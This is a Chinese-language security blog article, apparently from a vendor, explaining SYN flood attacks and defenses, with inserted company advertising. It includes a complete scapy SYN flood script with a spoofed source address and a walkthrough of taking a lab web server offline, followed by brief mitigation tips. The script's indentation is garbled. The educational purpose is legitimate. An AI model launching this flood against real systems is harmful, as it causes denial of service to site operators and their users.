防御流量攻击—synflood变种攻击防护



        Syn-Flood Attack是基于TCP/IP端口协议的流量拒绝服务攻击,攻击者会发送大量的TCP包,
 
来造成服务器TCP连接数达到服务器的最大限制,从而不能为新的用户访问网站的请求建立新
 
的TCP连接,打个比方:就好比一条公路,可以同时容纳100辆车在公路行驶,突然上来1000
 
辆车,那么公路就会堵塞。同样的道理,那么网站就无法打开,导致客户流失,以此达到攻
 
击目的。这种攻击方式危害巨大,不仅会让用户体验不佳,更直接的影响是对企业造成严重
 
的经济损失!如何防止流量攻击,怎么解决服务器被大流量攻击呢?针对这些问题,我们有
 
必要了解这种流量攻击的原理以及如何防御、解决流量攻击!
 
 
TCP/IP协议的三次握手详情图
 


 
1.第一次握手:Client将标志位(也就是flags位)SYN置为1,随机产生一个值seq=J,并将该
 
数据包发送给Server服务器,Client进入SYN_SENT状态,等待Server确认。
 
 
2.第二次握手:Server服务器收到数据包后由标志位SYN=1知道Client请求建立连接,Server
 
服务器将标志位SYN和ACK都置为1,ack=J+1,随机产生一个值seq=K,并将该数据包发送给
 
Client以确认连接请求,Server服务器进入SYN_RCVD状态。Sine安全公司是一家专注于:

服务器安全、网站安全、网站安全检测、网站漏洞修复,渗透测试,安全服务于一体的网络安全服务

提供商。

 
3.第三次握手:Client收到确认后,检查ack是否为J+1,ACK是否为1,如果正确则将标志位
 
ACK置为1,ack=K+1,并将该数据包发送给Server服务器,Server服务器检查ack是否为K+1,
 
ACK是否为1,如果正确则连接建立成功,Client和Server服务器进入ESTABLISHED状态,完成
 
三次握手,随后Client与Server服务器之间可以开始传输数据了。
 
 
Syn-Flood流量攻击原理
 

 
上图1:简要介绍了Syn-Flood流量攻击的大体过程:

 
1.攻击者先向目标服务器发送SYN包,请求建立TCP连接

 
2.目标服务器接收到SYN包之后,便会进入SYN_RCVD状态,然后又给流量攻击者回一个SYN-
 
ACK包

 
3.如果攻击者发送SYN包时用的是伪造IP地址,那么服务器发送的SYN-ACK就很可能不可达,
 
得不到ACK来建立完整的三次握手连接,这时目标机就会保持SYN_RCVD状态直到timeout。想
 
象一下,如果我们一直发送SYN包请求连接,但是又不和目标机器建立完整的TCP连接,一会
 
大家看看我们的流量攻击脚本就知道这是一件多么可怕的事情了。
 
 
4.如果攻击者用的是本主机真实的IP地址的话,那么攻击者接受到ACK之后正常情况下会回复
 
一个RST包(为什么不是ACK呢,因为攻击时我们是用pyhton的scapy库来发包的,本地网卡并
 
不认为自己发送了SYN包,莫名奇妙接收到一个SYN-ACK包当然会回复RST包啦)Sine安全公司

是一家专注于:服务器安全、网站安全、网站安全检测、网站漏洞修复,渗透测试,安全服务于一

体的网络安全服务提供商。
 
 
 
Syn-Flood攻击实战演示
 
有了前面的理论基础,大家就能开心的做自己的测试了,就算遇到问题也能轻松的解决啦!
 
所以理论还是很有用的,不要一味的只知道操作步骤而不知道原理。还有就是脚本什么的大
 
家可以根据自己的理解来编写,不一定要用我的蹩脚的代码。
 
环境准备:
 
1.Syn-Flood脚本 下载地址:https://github.com/myh0st/scripts/tree/master/synflood
 
2.Wireshark抓包工具
 
3.metaploitable2.0-linux IP=192.168.43.109
 
Syn-Flood脚本如下:
 
from scapy.all import *
import threading
import random
 
def Syn_flood(target_ip, target_port):
  while True:
  port = random.randint(0,10000)
  send(IP(src="1.1.1.1", dst=target_ip)/TCP(dport=target_port, 
 
sport=port),verbose=0)
  #send(IP(dst=target_ip)/TCP(dport=target_port, 
 
sport=port),verbose=0)
 
def main(target_ip, target_port, threads):
print "BEGIN TO ATTACK TARGET"
for i in range(0, threads):
#print "test" 
t = threading.Thread(target=Syn_flood, args=(target_ip, 
 
target_port))
t.start()
 
if __name__== "__main__": 
target_ip = raw_input("Please input the target_ip: ")
target_port = int(raw_input("Please input the target_port: "))
threads = int(raw_input("Please input the threads: "))
main(target_ip, target_port, threads)
 
 
攻击流程:
 
1.启动metasploit2.0,访问它的web服务,现在我们可以很流畅的访问到。

 
2.启动python脚本,填写必要的参数,当然也可以攻击22,3389之类的基于TCP连接的端口。

 
3.现在查看效果,可以看到web应用已经不能正常访问了,而且靶机的80端口由于受到Syn-
 
Flood攻击全部处于SYN_RECV状态。

 
如何解决服务器被流量攻击?
 
看到这里相信大家已经对Syn-Flood这种流量攻击方式有一定的了解了,下面来谈谈如何应对
 
 
1.如果某个端口和同一个IP建立了多个不完整连接,直接禁IP
 
2.减少SYN-RECEIVED的过期时间
 
3.设置SYN Cookie
 
4.设置防火墙的进站和入站规则
 
5.记录日志方便溯源追踪真凶
分享: